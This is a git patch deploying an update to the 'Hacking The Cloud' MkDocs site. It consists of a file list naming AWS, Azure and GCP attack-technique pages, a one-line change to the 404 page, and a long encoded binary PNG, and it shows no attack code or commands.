From 6d73039d7425ea35cc4e754586890b41899990e7 Mon Sep 17 00:00:00 2001 From: <> Date: Fri, 9 Aug 2024 15:04:37 +0000 Subject: [PATCH] Deployed 832ff387 with MkDocs version: 1.6.0 --- 404.html | 2 +- ...vulnerability_in_same_account_scenario.png | Bin 0 -> 232900 bytes assets/javascripts/bundle.4a1b0f67.min.js | 3 + assets/javascripts/bundle.ef37796b.min.js | 3 - .../guardduty-pentest/index.html | 4 +- .../guardduty-tor-client/index.html | 4 +- .../modify-guardduty-config/index.html | 4 +- .../steal-keys-undetected/index.html | 4 +- aws/capture_the_flag/cicdont/index.html | 4 +- aws/deprecated/stealth_perm_enum/index.html | 2 +- aws/deprecated/whoami/index.html | 4 +- .../account_id_from_ec2/index.html | 4 +- .../account_id_from_s3_bucket/index.html | 4 +- .../brute_force_iam_permissions/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- aws/enumeration/enum_iam_user_role/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../get-account-id-from-keys/index.html | 4 +- .../loot_public_ebs_snapshots/index.html | 4 +- aws/enumeration/whoami/index.html | 4 +- .../index.html | 57 +++++++ .../index.html | 6 +- .../index.html | 6 +- .../index.html | 4 +- .../abusing-container-registry/index.html | 2 +- .../index.html | 4 +- .../cognito_user_self_signup/index.html | 4 +- aws/exploitation/ec2-metadata-ssrf/index.html | 2 +- .../iam_privilege_escalation/index.html | 2 +- .../lambda-steal-iam-credentials/index.html | 2 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../s3_server_access_logs/index.html | 4 +- aws/exploitation/s3_streaming_copy/index.html | 4 +- .../aws_organizations_defaults/index.html | 4 +- .../index.html | 4 +- .../connection-tracking/index.html | 2 +- .../iam-key-identifiers/index.html | 2 +- .../intro_metadata_service/index.html | 4 +- .../introduction_user_data/index.html | 4 +- .../using_stolen_iam_credentials/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../iam_persistence/index.html | 4 +- .../intercept_ssm_communications/index.html | 2 +- .../lambda_persistence/index.html | 4 +- .../role-chain-juggling/index.html | 4 +- .../run_shell_commands_on_ec2/index.html | 4 +- .../s3_acl_persistence/index.html | 2 +- .../index.html | 4 +- .../user_data_script_persistence/index.html | 2 +- azure/abusing-managed-identities/index.html | 4 +- azure/anonymous-blob-access/index.html | 4 +- azure/enum_email_addresses/index.html | 2 +- azure/soft-deleted-blobs/index.html | 2 +- blog/2022_wrap-up/index.html | 2 +- blog/2023_wrap-up/index.html | 2 +- blog/v2_new_look/index.html | 2 +- feed_json_created.json | 2 +- feed_json_updated.json | 2 +- feed_rss_created.xml | 2 +- feed_rss_updated.xml | 2 +- gcp/capture_the_flag/gcp-goat/index.html | 2 +- gcp/capture_the_flag/thunder_ctf/index.html | 2 +- .../enum_email_addresses/index.html | 2 +- .../enumerate_all_permissions/index.html | 4 +- .../index.html | 4 +- .../gcp_iam_privilege_escalation/index.html | 2 +- .../default-account-names/index.html | 2 +- gcp/general-knowledge/gcp-buckets/index.html | 2 +- .../index.html | 4 +- .../security-and-constraints/index.html | 2 +- .../unauth_same_account_scenario.png | Bin 0 -> 472658 bytes index.html | 2 +- search/search_index.json | 2 +- sitemap.xml | 147 +++++++++--------- sitemap.xml.gz | Bin 1326 -> 1360 bytes .../terraform_ansi_escape_evasion/index.html | 4 +- .../index.html | 4 +- 84 files changed, 263 insertions(+), 201 deletions(-) create mode 100644 assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png create mode 100644 assets/javascripts/bundle.4a1b0f67.min.js delete mode 100644 assets/javascripts/bundle.ef37796b.min.js create mode 100644 aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html create mode 100644 images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png diff --git a/404.html b/404.html index bd2a5fca5..a6b8a35ed 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ - Hacking The Cloud

404 - Not found

\ No newline at end of file + Hacking The Cloud

404 - Not found

\ No newline at end of file diff --git a/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png b/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png new file mode 100644 index 0000000000000000000000000000000000000000..dba52679ba309624f6e1ba7bc63523306a82667f GIT binary patch literal 232900 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 